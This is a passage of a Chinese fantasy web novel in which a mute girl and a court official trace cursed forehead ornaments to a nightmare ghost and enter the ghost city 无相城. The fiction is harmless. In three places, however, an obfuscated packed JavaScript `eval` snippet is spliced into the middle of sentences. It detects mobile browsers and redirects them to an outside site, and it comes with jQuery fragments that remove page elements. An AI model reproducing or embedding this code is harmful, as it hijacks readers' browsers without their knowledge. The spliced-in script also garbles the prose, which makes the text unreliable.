上官岂不知沈云起关怀是真,打探消息也是真,顿时一阵无语,心道这人果真没将自己的话听进去半分。 他将二人紧握住的手强行分开,意有所指道:“不进宫面圣了?让我想想,刚才某个人……” 沈云起眼皮微抖,瞪他一眼悻悻离开。 “别看了,走远了。”上官在哑奴面前挥挥手。 哑奴收回目光,比划道:“这位姐姐真美。” 上官好心提醒道:“小祖宗,这话可不能在她面前说,不然她那尾巴能比上林苑的锦鸡翘得还高。” 锦鸡?尾巴? 哑奴摸着脑袋想不明白。突然,她想起一件很要紧的事儿,跳起来打着手势:“呀!魇鬼跑了。” 上官手中折扇放在下巴尖轻轻点了点,应道:“嗯,我知道。” 哑奴着了急:“主君答应要帮我救大人的。” “慢点儿比划,什么意思啊......”上官一脸茫然,“你是问魇鬼跑哪儿去了?这个嘛,我暂时还不清楚。不过,有一点可以向你保证,主君说了救人就一定会救。” 哑奴半信半疑,上官看她的眼神多了几分怜悯,忍不住出言宽慰道:“别担心,有这闲工夫,你不如多想想怎么讨好主君,把他哄好了,比什么都强。” 讨好渡舟? 哑奴睁大眼睛,怎么个讨好法儿? ……我要是知道,至于每天活得战战兢兢吗?上官留下一个“只可意会不可言传”的眼神,飘飘然远去。 哑奴想了半夜,没把怎么讨好渡舟想明白,自己反倒先睡着了。自从听荧木讲过周昭后,哑奴做噩梦的次数越来越频繁。 ——她又梦到花妖死的那片乱葬岗。 不过等哑奴在梦中沿着山坡爬上去,才发现那是一大片槐树林,花白如雪,连绵不绝。 有一红衣女子在林中行走,她手提一柄黑剑,赤着一双脚,雪白的足腕系着对金铃,脚下是铺了满地的白色花瓣。 起初她走得很慢,后来她提着裙摆飞奔起来,忽而天旋地转,身后花叶徐徐而落,尖利的狂笑声充斥天地间,眼前哪里还是寻常槐树,分明是一片挂满人头的鬼树林! 落下的也不是花瓣,而是掷地有声的人头。 人头落地,狂笑不止,女子脚下早已血流成河。 她执剑散发,忽而顿足,缓缓地转过脸来。尚未看清,却见漫天江水铺天盖地,转眼即成血水滔滔。 哑奴猝然惊醒,心口像压着千斤巨石。 子时刚过,万籁俱寂,夜晚像蛰伏九州的巨兽。 哑奴这一醒就再睡不着,她披衣起来,走到桌案前抓起一支笔,想把刚才梦中的场景画下来。 铺陈纸张,研墨润笔,哑奴随手写了个周字,然后又鬼使神差地在后面跟了两个字—— 明鸢。 哑奴看着墨迹微微发愣,奇怪,我明明是第一次用纸笔,为什么感觉如此熟悉...... 再说我写的这两个字,看上去好生奇怪...... 天光刚蒙蒙亮,哑奴终于有了眉目。她抓着佩剑站在渡舟门前,鼓起勇气敲开门。 渡舟抬起头,看上去有些疲倦,眼角晕着一丝浓重的红,跟熬了几宿没睡似的。 哑奴吃了一惊,讨好的心先放在一边,小心翼翼地问:“主君,你怎么了?” 渡舟蹙眉道:“有事说事。” 中气十足,看来没事。 哑奴紧张地比划:“……主君,你要看我舞剑吗?” 渡舟眉梢微挑,照旧淡淡道:“不想。” 好吧。 哑奴自讨没趣,有些泄气,这是她能想到的唯一讨好渡舟的办法了。 正要掩门离开,渡舟却道:“魇鬼会抓到的,县令也会救。” 哑奴凝着他,渡舟的神情其实算不上认真,一如既往的淡漠疏离。可就是这么一句轻飘飘的话,哑奴多日来焦躁不安的情绪都无端散去了。 渡舟……其实也不像传闻那么可怕吧,为什么都说渡舟是坏人呢? 哑奴站在原地眨眨眼,渡舟见她还不走,揉了揉眉心,语气有几分不耐:“还有什么事?” 哑奴慢慢打着手势:“你会孤单吗?” 渡舟没说话。 “我以前不会,现在……有一点儿,就只有一点点。以前衙门里的人都是我的朋友,你有朋友吗?” 渡舟眼神晦暗,终于站起来,把般般抓起来一股脑儿地丢给她:“没事干就去溜猫,别来烦我。” 哑奴瘪瘪嘴。 凶什么,连赏银都不发…… 她出门正好碰到上官,上官见她气得圆滚滚,知晓原因后笑得眼泪乱飞:“噗!哪有人提着剑去讨好别人的啊,你这丫头,傻的可以。” 哑奴表示抗议:“主君说我很聪明。” “好好好,这牵机营主君第一聪明,你第二聪明。”上官擦了擦眼泪花,劝道,“不过你也别往心里去,主君一个月总有那么几天心情不好,不是冲你。按日子……也快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406309|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到主君闭关的时候了。” 闭关? 上官解释道:“我也不清楚,可能是修行吧。别管这么多了,我是来找你的。走,跟本大人逛逛去。” 上官不由分说地抓着哑奴便走,他先是带哑奴去九洲城最好的馆子吃饭,又带她去买了几件新衣服。 比起这些,哑奴更关心为什么上官大人会有这么多银子! “月钱,你没有吗?” 哑奴更生气了。 上官还不知道自己哪里惹到这小丫头,接下来一连几天都准时准点来接哑奴出来玩,美其名曰劳逸结合。 上官滔滔不绝地跟她讲最近朝野发生的大事,说沈云起回朝,带回了北方水患被彻底根治的好消息。天子龙颜大悦,赏赐珠宝万千,大赦天下。 这些被赦免的人不免感念国师之恩深皇恩之浩荡,九洲城歌舞升平,唯有一人郁郁,那就是巡抚当了没几天就被贬的陆轻苹。 “陆大人真惨,咱们去看看他吧。” 上官跟撞鬼了似的连连摆手:“不去不去。” “且不说陆轻苹这种清流对牵机营避之不及,如今宫里尚未结案,要是牵机营再搅和进去,对他绝无好处。他要是知道你如今住在牵机营,我保证他不会跟你说一句话。” “为什么?” “咱们名声不好呗,不过这世上哪有什么非黑即白,那些个清流也不见得多干几件好事……哎算了算了!跟你说了你也不明白,去前面看看。” 九洲城人潮汹涌,哑奴抱着胳膊跟在上官身后,仔细数了数,一炷香的时间,上官大人一共回了十次头,一次是为了确认她没跟丢,九次是为了回头看来来往往的漂亮姐姐。 上官一身青竹长袍,折扇款款,看背影端的是一派风流,但正脸嘛...... 上官似乎浑然不觉,就凭自己这张泯然众人的脸实在是不能够一举博得姑娘芳心的。 他见哑奴兴致不高,第十一次回头拽着哑奴胳膊和自己并肩而行:“小丫头,出来玩儿不好吗?” 哑奴摇头,不好,没意思。 上官大失所望:“你长这么大,九洲城又这么多人,就没个亲戚什么的?” 哑奴还是摇头,没有,不好意思。 上官继续大失所望,折扇在掌心用力一敲,表情夸张道:“哎呀呀,真是可怜。”边说边用眼神继续打量哑奴,循循善诱道:“没亲戚不要紧,这里有没有你熟悉的地方?我带你去转转。” 哑奴站定,很认真地想了想,继续摇头。 哑奴确实没有骗上官,自打两年前县令从人牙子手里买下她,哑奴最熟悉的地方就是衙门,九洲城这样热闹繁华之地,她是一点儿也不熟悉的。 可怜上官铺垫半日,愣是一句有用的话也没有问出来。哑奴的身世他当然调查过,但源头总也查不出,就好像两年前这个人是凭空出现在九洲城,又阴差阳错进了衙门。 哑奴哪里知道上官的心思,眼前美人如云让人眼花缭乱,香风阵阵令人头晕脑胀。 哑奴叫苦不迭,忽地在人群中发现了一个熟悉的身影,闪身过去,打了个招呼:“姐姐!” 沈云起回头,眉眼俱笑:“是你呀,小妹妹。” 12. 无相城 沈云起今日是寻常女子装束,湖蓝长裙曳地,发丝用一根碧玉簪简单挽起,鬓边垂下几股精致的发辫。薄纱掩住下半张脸,更显额如远山,神采奕奕。说话间珠翠迎风作响,比上次见她还要明艳动人。 上官走近了,酸溜溜道:“哟,今日期好,出门逢贵人。” 沈云起略瞪他一眼,问道:“你们怎么在这儿?” 上官用折扇挡住脸,目光指了指哑奴,悄悄冲沈云起使眼色,压低声音道:“办正事儿。” 沈云起一听便懂,颇为嫌弃地白了上官一眼。 哑奴却没发现他们二人之间的暗通款曲,她正目不转睛盯着沈云起额际花钿看。 那花钿形如凤尾,朱红一点,更衬得沈云起肤色雪白,模样较寻常多了几分娇美。 沈云起轻轻啊了一声:“小妹妹,你喜欢这个花钿?” 哑奴点头:“好看,姐姐戴上很漂亮。” 上官语气夸张,解释道:“这丫头夸你漂亮,堪比神女下凡。” 沈云起果然脸上女儿家的娇羞少,“锦鸡的尾巴”多,哑奴这话简直夸在她心尖儿上,拉住她道:“这有何难?姐姐带你去买好不好?你成天跟着富贵儿......” 沈云起鄙夷地将上官从头到脚打量一通,果断摇摇头,继续道:“他品味太差,不学他。” “喂!你这女人!”上官莫名其妙被嫌弃,奈何沈云起挽着哑奴走得飞快,只得跟上。 方才没留心,这会子哑奴才注意到,原来街上很多女子眉间都贴着这样一朵凤尾花钿。 不知为何,那花钿在她们脸上愈发明艳鲜红,就像一朵鲜活的凤尾花,好看极了。 很快到了卖花钿的铺子,桌上琳琅满目,却不见凤尾花钿。 老板解释道:“姑娘来晚啦!你们要的凤尾花钿刚刚售空,现在只剩下这些,也是九洲城最时兴的款式,瞧瞧?” “好不巧。”沈云起惋惜道,“小妹妹,你看有没有喜欢的?如果偏喜欢我这个,姐姐送给你。” 哑奴本来就是图个新鲜,并没有真的很想要,微笑着摇摇头。沈云起却似乎十分执着让哑奴也试着装扮装扮,手摸到那枚花钿想取下来,但不知怎地,好半天也取不下来,反而满脸是汗。 上官本来对女子装饰不大关心,站在一边等候,见沈云起面色发□□力不济,走近道:“你怎么了?” 沈云起道:“没什么,就是刚才突然有点头晕。怪事,这花钿怎么取不下来......” 说着,沈云起忽然两眼一闭。 哑奴大惊失色,上官则吓得脸都白了,慌忙接住沈云起软下来的身子,叫道:“云起!” 三人匆忙回府,谁知沈云起悠悠转醒,非但无事,反而肌如凝脂愈发光彩照人。 “我就说没事吧,大惊小怪。”沈云起话音刚落,手腕就被人擒住,上官探出二指往她脉上一搭,沈云起反手错开,“做什么?岐黄之术我也略懂,用不着。” “脉象平稳,没有异常。”上官视线在沈云起脸上停留片刻,“你那花钿戴几日了?取下来我看看?” 沈云起不解道:“你说这个?忘了,顺手买的。” 沈云起用手摸了摸眉间花钿,哑奴上前帮忙,却发现真就白日撞鬼—— 果真取不下来了! 哑奴细细端详,凤尾花瓣丝丝入扣,竟好似活生生长进肌肤融为一体,红色愈发娇艳欲滴,犹如眉心一点血,鬼气森森。 上官道:“花钿有问题!” 沈云起尝试再三,那枚花钿犹如附骨之蛆牢牢不动,不禁脸色发白:“什、什么问题啊,你别吓我啊富贵。” “这东西……好像在吸食你的精魄。” “什么?!”沈云起花容失色,大叫道,“不可能吧!” “我猜是你的精魄十分合它胃口,或者是它察觉你的意图不愿下来……”上官急切道,“除了刚才头晕,你还有没有什么不舒服的地方?” 沈云起摇头道:“没有。” 上官面色难看,懊恼道:“是我大意了,寻常鬼气恶臭扑鼻,但这花钿自带一股脂粉香,我还当是你身上的味道。等会儿,你说这花钿是你随手买的,方才我们去香粉铺子也说凤尾花钿全部售空,也就是说九洲城现在许多女子都贴着这样的花钿?” 哑奴回想刚才遇到的姐姐们,确实人人都贴着凤尾花钿。花钿是死物,若像上官大人所说吸□□魄,必然是被别有用心之人做出来的容器。 沈云起道:“应该是吧,我不确定……” 上官腾地站起来,如临大敌:“当务之急,我需要拿到一个凤尾花钿,查一查到底是哪路小鬼。云起,你待在国师府哪儿都不要去,小哑巴,你跟我走。” 哑奴点头同意,二人当即离开,直到晌午过后才回到国师府。 他们跑遍全城,终于找到枚一模一样的凤尾花钿,也打听到了这种花钿是中秋前夕才在市面流通。 有说只要女子戴上它便会容颜大增,事实也确实如此,女子用上凤尾花钿,果真比平日姿容动人,因此在城内大卖。 跟花钿一同打听到的,还有城中几位员外千金一同病倒,请了许多郎中也不见好。 毫无疑问,这些女子都贴着凤尾花钿。 上官将这些情形一一说了,沈云起忙道:“富贵儿,我不懂神鬼玄机,花钿有了,你快看看能不能抓到幕后黑手?” “别急。”上官拿出一张化形符,点燃置于花钿上,凤尾扭曲乱颤,一股恶臭黑烟飘出。 哑奴跟上官同时神色一变:“魇鬼丹妙?!” “这花钿上面竟然有丹妙的鬼气!”若说旁的鬼也就罢了,单凭鬼气还真不一定能猜到是谁,但魇鬼他们太熟悉了。 上官皱紧眉头:“魇鬼这是要干嘛?要把九洲城弄个天翻地覆吗?再说用花钿谋害女子性命,这么大费周章也不像魇鬼的风格……” 哑奴也觉得是。 魇鬼害人都直截了当,进入梦境制造梦魇,以人的忧俱恐慌为食。世间没有不睡觉的人,魇鬼不愁没有饱饭吃,压根没必要造出这许多花钿来。 但这股子鬼气,确实是丹妙不错。 沈云起刚回来,只是听说过姜宅的案子,对魇鬼不熟,愁眉苦脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406310|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“魇鬼是什么东西?很厉害吗?” 上官收起符纸,云淡风轻道:“魇鬼嘛,就是个泼皮无赖。放心好了,我知道他在哪儿,抓来就是。云起,你在府里哪儿别去,好好睡一觉。” 哑奴看着上官那副胸有成竹的样子,顿觉十分安心,亦是点头拍胸:“姐姐,交给我们吧!” 等哑奴被上官拖出国师府,还以为对方要带她去抓魇鬼,哪知上官两手一摊:“我就是宽慰宽慰云起,魇鬼是个滑头,天大地大上哪儿去抓?” 哑奴一阵无言:“花钿的事情,不需要告诉主君吗?” 上官继续摊手,像个废物:“我也想啊,问题是主君最近不在,我也不知道他去哪儿了。不过虽然不知道魇鬼在哪儿,但有个地方,一定能找到他。” 还有这种好地方? 哑奴扯住他衣袖晃,快说快说! 上官收起嘻嘻哈哈的表情,一脸凝重道:“无相城。” 无相城。 哑奴记得渡舟跟她讲过,上古时期神兽毕方将邪祟瘴气封印在无相渊。上官大人所说无相城,难道就是无相渊的一座城吗? 上官见她困惑,徐徐说道:“你听说过无相渊吗?数千年前,无相渊被封印在无妄海底。后来历经朝代变迁,无妄海的尽头偶尔会裂出一道深渊,那下面藏着一座城池,就是无相城。无相城是鬼界入口,也是妖邪鬼怪聚集之所。鱼龙混杂,方位不定。” “传说无相城是无相渊一只大妖修建,那大妖便是鬼界之主。城门有一道鬼门关,凡是来往之鬼都会被记下行踪。所以我说,那里一定能找到魇鬼。” 哑奴听得聚精会神,问道:“你怎知丹妙一定会去无相城呢?他会千变万化。” 上官如今已经能对哑奴的手语连猜带蒙知道八九不离十,回答道:“主君在丹妙身上下了锁魂咒,让他不能离开贺金牙的身体。一来是为了防止丹妙吃掉贺金牙逃跑,二来,锁魂咒对鬼来说犹如背着千斤沉的枷锁,丹妙跑了这么久,一定会回到无相城想办法。” 渡舟果然没骗她。 哑奴顿时觉得不要赏银也没什么大不了,心中宽慰,打着手势催促:“那我们现在就去无相城。” “这......” 上官露出一个复杂又精彩的表情,想到非去无相城不可,又是叹气又是摇扇子。 主君让我留心这丫头,一连查了数日也没有眉目,万一能在无相城有什么线索倒是好事…… 但那地方鱼龙混杂,主君会同意将这丫头带去吗? 可再耽搁下去…… 上官猛地合起折扇,暗道:“不管了!” “丑话说在前面,你一定要跟紧我,听我的话,无相城太危险,万一出事儿我也救不了你。” 哑奴举手发誓,保证一定听话,又问:“无相城,怎么走?” 上官不理她,将折扇展开从左到右第三个扇面,手指做笔在上面写写画画。 哑奴眼前一暗,再一睁眼,日月无光。 层层黑云之下,一座威严气派的高耸城楼凭空出现在她面前,竟比皇城有过之而无不及。 13. 鬼门关 “主君教的,方便办事。”上官收了扇子,眉头紧锁叹了口气,“我们运气真差。” 哑奴打着手势问为什么。 上官解释道:“我们从九洲城出来日头尚在,可你看现在,天都黑了。虽然无相城没有日夜之分,都说天黑天亮全凭那位鬼界之主心情。天亮时,无相城跟寻常城楼没什么区别,里面照旧做生意做买卖。行人若是误打误撞进了城也不要紧,什么都不碰,什么都不买就是了。但偏偏有人贪财又好色,不是掉进钱眼就是陷进温柔乡。不过,只要是白天都好说,能走出城,就不至于被妖魔鬼怪吃干净。” “可到了晚上……”上官连连叹气,“看来那位主子心情不好。总之,咱们自求多福吧!” 黑雾沉沉,鬼气森森。城门大开,不见守卫。 二人鬼鬼祟祟弯着腰凑近城门口,借着树木遮挡,只见城楼上每隔十步便竖着一根极高的旗杆,杆上似有活物在动。 再近些看,原来每根旗杆不插旗帜,而是插着一个人头。 那人头三面是脸,想来风吹日晒得久了,皮肉已掉得七七八八,唯有六只眼珠子滴溜溜转个不停,南来北往过路的鬼都难逃那些眼睛。 “兄弟兄弟,帮我值守半夜,能不能成?”其中一个人头开口说道。 被他喊醒的那位好兄弟一睁眼,看见一张打扮得尤其“隆重”的脸,即刻尖叫一声:“妈呀!吓死鬼了!” 只见那插在旗杆上的脸涂得雪白,一根长长的红舌头从嘴里掉出来垂到下巴上,头发十分整齐地束了冠,是人间那些贵公子们常见的样式。 这样一丝不苟的发髻顶在一颗鬼气横生的头颅上,实在滑稽。 好兄弟大叫道:“你不是秃鬼吗?” 那头嘎嘎笑了两声:“前些天一个书生迷路,跑进城来啦!那肉又新鲜又水灵,屠夫剁完馅把头皮割了,送我啦!” 周围嘻嘻哈哈叫成一片,七嘴八舌地议论着改日也要找屠夫换个发型。 “今夜血器场又开啦,兄弟帮我一回!” 好兄弟三张嘴一齐说话,一时叽里咕噜难以分辨。大意是:“没问题,你去吧兄弟!早去早回,小心被城主发现可惨啦!” 那头竟是腾空而起,从城楼一跃而下,骨碌骨碌滚进城去了。 “哎!你听听他们叽里咕噜说什么呢?” 哑奴两手一摊,意思无可奉告。 上官啧了一声:“不是都说哑巴的耳朵好?难道是假的?”他自言自语一阵,“罢了,咱们先进去再说。” 哑奴早就想进去了,闻言霍地站起身。上官骇了一跳,将她一把拽下,惊恐道:“你干嘛?!” 不是你说要进去了吗? “都说了现在是晚上,要小心行事不要莽撞!” 上官一阵头疼。他从袖子里掏啊掏,掏出一个瓷瓶,从里面倒出一红一白两枚丹药。 “这药可保我们不被鬼差发现真身,你拿白——” 不早说......哑奴刚将红色那颗吞进肚里,无辜地睁大眼睛。 上官看看哑奴,又看看手上那颗白色丹药,沉了一口气,道:“无妨,我还有……” “还有……”上官将瓶子倒了又倒,倒了个底儿朝天,然后发出鬼界第一声爆鸣,“不是吧!” 瓶中空空如也,他手上的正是最后一枚药。 红色变男鬼,白色变女鬼,确实……不能怪上官要发疯。事到如今,上官也只能将那药丸一口吞了。 药丸入腹,二人摇身一变。 矮些的,是个圆脸细眼的小鬼。那高些的,身材苗条,上官竟化成了个长相泼辣艳丽的女鬼。 尽管内心告诫自己绝不能笑!哑奴还是没忍住,上官大人还真好看呢。 上官:“……” 他们乔装打扮的功夫,已陆陆续续有不少鬼进城。哑奴想到刚才鬼差所说,似乎今日城中有什么盛典,她比划给上官看了,对方一脸茫然,哑奴只好写给他看。 “哦,血器场啊。”上官摸着下巴道,“听说过,是无相城的卖场,卖什么的都有,不过我还没见过。” 他们身上鬼气森森,轻而易举便混了进去。 那两扇铁铸的城门在他们靠近的一瞬间浮出亮光,两张风格迥异的脸竟像活了一般被画进那城门中,很快又消失不见了。 哑奴内心惊讶,那两张被城门“吸”进去的不正是他们所化之相吗? 上官低声解释道:“这就是鬼门关。人有七情六欲万般法相,牵一发而动全身,而妖邪鬼怪之所以不像人,是因为他们三魂七魄不全,所以这里被称为无相城。鬼门关是生魂入无相,鬼魂返阳间的必经之路,南来北往每个妖魔鬼怪都会被鬼门关记录下来。要想进鬼界,无论如何都要经过这道门。” 哑奴侧耳听着,余光看见一群鬼结伴而行,正从另一个方向进城。 他们面前明明是城墙,等走近了,却自动化出两扇城门来,和他们经过的这道一模一样。 哑奴恍然大悟,好奇之下,伸出手指在那鬼门关上轻轻点了点。 一霎那间,城门浮现出无数张交叠在一起的人脸,男女老少皆有之,面容狰狞仿若脱壁而出。 上官将哑奴向身后拉了一把,叮嘱道:“这是些不能转世的恶鬼,他们怨气极重,还是离远些好。” “喂!你们两个,好狗不挡道!”身后排队等着进城的小鬼大着嗓门催促。 “好说好说!”上官满脸堆笑,推着哑奴快速离开。 一进城,像是突然掉进了另一个世界—— 叫卖的、骂街的、拿着刀乱砍的,一时间鬼哭狼嚎,群魔乱舞,不忍直视,精彩纷呈。 城门口左手边是酒肆,酒液鲜红黏稠,鬼喝一杯强身健体,人尝一口毙命无疑。 右手边是花楼,姑娘们各个花枝招展年轻可人。花楼旁边挨着间阁楼,透过窗棂,依稀能看一个女子正细细描眉,身姿曼妙,细看却没有五官。 再往里走更是热闹,有人皮坊,锦衣阁,断头秀,还有法器充值买一送一人鬼无欺,千年老妖现熬补汤补肾益气......甚至还能看见穿着一身破烂盔甲的无头鬼,举着两把大刀砍来砍去。 鱼龙混杂之中,一队马车显得尤为声势浩大。 共有五辆车,首尾相接。 最前面的乃是一辆八驾马车,车身豪华覆满金箔,四面车角挂着银铃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406311|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每行一步,银铃便发出清脆悦耳的碰撞声。 奇怪的是,每驾车厢都以黑布遮盖,看不清里面是何等乾坤。 马车经过时,上官突然停下脚步,在哑奴手心潦草写了几个字: 活人。 马车行过长街,又驶过小桥,左前方便是路口。最后一匹马转过拐角,黑色帷幔似乎被风吹起一角,又极快落下。 哑奴甫一踏进这里,便被眼前所见惊了一跳。 只见外面看起来平常大小的马车,里面竟足有一间房那么大。她翻进来的地方便是房门,房内香气扑鼻,家具用品一应齐全,进门左手边一扇屏风,屏风后应该是床,旁边则是一个精巧的梳妆台。 这地方......竟像是一位姑娘的闺房。 似是听见有人推门,那屏风后有人影微动,一个略显娇憨的女子声音传出来—— “谁?小翠吗?” 女子披了件外衣,揉着眼睛打着呵欠走出来。她一见生人,瞪大眼睛正要尖叫,被哑奴抢先一步上前捂住嘴巴。 “呜呜!” 这姑娘十五六岁,模样姣好,身上穿的是绸缎软锦,腕上戴的是玉镯银环,一看便是大户人家的小姐。 她挣扎不停,哑奴只好将她强拉到窗户边,掀起一角。 此时马车刚好经过菜市场,只见窗外屠夫手起刀落,一个白森森的腿骨便被大刀斩下。 “——啊啊啊啊啊!” 别叫! 那姑娘的尖叫被哑奴捂在嗓子眼,哑奴手背一阵剧痛,原来对方惊吓之余一口咬在她手上昏过去了。 还好上官大人没有一起来,不然真够头疼了。 哑奴将昏倒在怀里的女子抱起放在床上,四下望望,寻了纸笔写起来。 这马车确实不出他们所料,里面都是活人,并且这些人看上去似乎并不知道自己早已不在人界。 抓魇鬼丹妙要紧,但眼看活人送死也不能不救。于是哑奴跟上官兵分两路,自己偷偷上了这马车,留上官在外接应。 等哑奴上来才知道,这马车只能进不能出,门窗虽然能打开,却出不去。等哑奴写好,见对方没醒,便将纸放在床边,大意是让她不要声张,自己会救她出去云云。 做完这些,哑奴本欲转离开,低头看了看自己方才被咬得鲜血淋漓的右手,索性又划上一刀,以血为墨画了几张符箓。 这符的画法还是哑奴从张仙师那儿学来的,她往那姑娘手里塞了一张,剩下的贴身带走。 哑奴在墙壁上摸索一番,果然让她摸到一扇暗门,暗门之后便是第二个房间。 第二间屋里也是位姑娘,看来已经发现自己落入鬼界,哑奴推门进去时她正暗自垂泪。哑奴安抚好她便一路向后行,其余几个房间的人都没有醒,哑奴的符箓派上用场,在每间房都留了一张。 等到了最后一间房,哑奴小心地将暗门推开一条缝隙,正欲进去,才发现其实是这是扇窗户。 月光透过窗棂洒在地面上,有几分影影绰绰。房间内静悄悄的,一丝声音也没有。 再多便看不见了。 哑奴又将窗户推得更大些,正欲伸脚进去,蓦地被一双手抓住! 14. 祝鸢 十五月圆,子时之后更盛。 哪怕是无相城,也偶然分得人间一杯如水月色。 八驾马车依旧如游龙穿梭于闹市,银铃乘风作响,哑奴则以一个很不体面的样子挂在窗户上。 哑奴被这突如其来的一双手抓住,只觉毛骨悚然,寒意顺着冰冷的小腿爬上来。 哪家姐姐,好大的胆子! 她眼神戒备,雪亮的匕首在黑暗中蓄势待发。恰逢月色透过黑云,那双手的主人终于显露真容。 其实并不能算抓。 渡舟左手虚扶着她伸进窗户的小腿,右手张开护在她身侧,那张俊脸在月光下分为明晰。 哑奴吃了一惊,主、主君? 也不对...... 虽然渡舟年纪不大,但在哑奴印象中,他总是板着张脸不苟言笑,不开口压迫感极强,一开口便是七分傲气。 可眼前人却截然不同。他身穿霜色绸缎袍,墨发披肩,两缕长长的白发则随意垂落,腰间照旧放着那根白色透着点儿微青的笛子。 最重要的是,渡舟的嘴角竟然噙着一抹若有若无的笑意。 主君竟然在对她笑? 不是,主君竟然会笑! 哑奴不敢相信自己的眼睛,伸手在渡舟面前晃了晃,想确认这人是不是被鬼上身了。 渡舟无视哑奴的动作,开口道:“这么高,看也不看,就要往下跳。” 哑奴突然想到自己吃了上官大人给的神药,现在的模样应当是个男小鬼,却轻而易举就被渡舟认出来。 不过渡舟这话说得奇怪,虽无斥责之意,但左右不过一个窗户能有多高? 更不必说哑奴会武,渡舟是知道的。可眼下这番情形,就好像方才渡舟早就预料到哑奴要从窗户里翻进来,才特意站在那儿等她。 不对,是捉她。 更要命的是,这人的语气简直可以算得上温和,温和得哑奴浑身上下都开始紧张。 主君这是发现我们私自来无相城,一路追到这里来了?传说主君对那史官笑了笑转头就把人砍了,那我岂不是很危险…… 哑奴欲哭无泪,嘴巴张得老大,甚至忘了问为何他会出现在这里。 渡舟依旧虚扶着她,竟有点儿宠溺地无奈道:“下来再说。” 哑奴更是一阵毛骨悚然,摸不透渡舟到底怎么了。她只好硬着头皮一跃而下,正欲询问,渡舟却突然变了脸色。 哑奴吓得只想转头就跑,渡舟的目光落在她右手,一把抓住,面容阴沉:“怎么弄的?” 他攥得那样紧,分毫不让。 哑奴吃痛,往回缩了缩,渡舟眉宇间的戾气陡然散去,却没有放手,仅仅是松开些。 他眉眼低垂着,稀疏澄澈的月光在他脸上落下斑驳不明的阴影,沉声道:“还知道疼?” ……一点点疼。 渡舟不知使了什么法术,哑奴手上的伤没再流血,只剩一道浅浅的刀伤,已经没什么大碍。 饶是如此,他还是跟变戏法似的用丝绸将那只右手小心包扎好,动作轻得像天气晴朗时的云彩。 等做完这些,渡舟神不知鬼不觉地把哑奴腰间的匕首抽出来,当场捏成了几片废铁。 哑奴刚想道谢的心又被渡舟激得上蹿下跳。 这是我的! 渡舟假装没看到哑奴幽怨的眼神,先她一步道:“想问我为何会在这里?” 这招先发制人用的恰到好处,哑奴愣愣地点头。 这里没有床,像是间寻常书房,木架上整整齐齐摞着许多卷书。 窗边一张小几,案上纸笔凌乱,墨迹未干。 哑奴随他坐下,视线停留,尚未看清,渡舟便将那写满字的纸揉成团扔了,道:“练字,不然害怕。” 虽说这里是鬼界无相城,早已不是牵机营能管辖的范围,但要说渡舟害怕,那可比白日撞鬼还要离谱多了。 哑奴一个字也不信。 她看渡舟这人天生就不知怕为何物,明明是在胡言乱语,却还一本正经。 面前的纸团都被渡舟丢干净了,他看着哑奴,突然说道:“你的字,写得很好。” 哑奴心里的忐忑还在胸腔里跳得正欢,被渡舟这么没头没尾的一句卡在半空不上不下,艰难地咽了咽口水。 啊?字……写得好? 我有在主君面前写过字吗? 所以是说我吗?哑奴指了指自己,渡舟继续道:“没有人这样夸过你吗?” 哑奴摇头:“没有。” 渡舟道:“那是他们没有眼光。” 哑奴:“……” 眼前这人真的是主君没错吧? 主君知道现在他们是在无相城,不是在牵机营吧? 也知道这辆马车里都是要被拉去卖掉的活人吧? 这么多亟待解决的事情摆在眼前,渡舟竟然左一句右一句,全都是废话。 哑奴实在匪夷所思,渡舟却不紧不慢,抽出一张干净宣纸铺好,将笔递给她:“为我写一副字吧。” 哑奴不想写。 虽然她模模糊糊看出来渡舟不是来兴师问罪的,但真的没这个兴致于此时此地写字。 渡舟紧跟着温温柔柔地说道:“出去给你买烤饼吃,好不好?” 哑奴觉得渡舟一定是有什么怪病。 譬如一定要在讲故事之前要她舞剑,一定要用烤饼来诱惑她写什么字。 不过哑奴很好哄,特别是渡舟这种拿着小鱼干逗猫的高手。哑奴很爽快地接过笔,胡乱写了几个字,渡舟低头一看,哈哈笑道:“写得好。” 主君果然是疯了...... 渡舟很小心地收起那副字,问道:“还记得吗?是谁教你习字的?” 是谁教我习字的...... 哑奴诚实摇头,我不记得了。 “没关系,不记得也好。”渡舟看着她道。 马车虽快却及其平稳,若是不推开门窗,根本察觉不出身在无相城。 此间寂静无声,渡舟的声音在这半明半暗里就好像乘月色而来,干净极了。 哑奴猜不透渡舟的反常,只好挑最迫切的问:“主君,这是什么马车?很不寻常呢。” 渡舟解释道:“这并非人界的马,乃马货郎。” 马货郎? 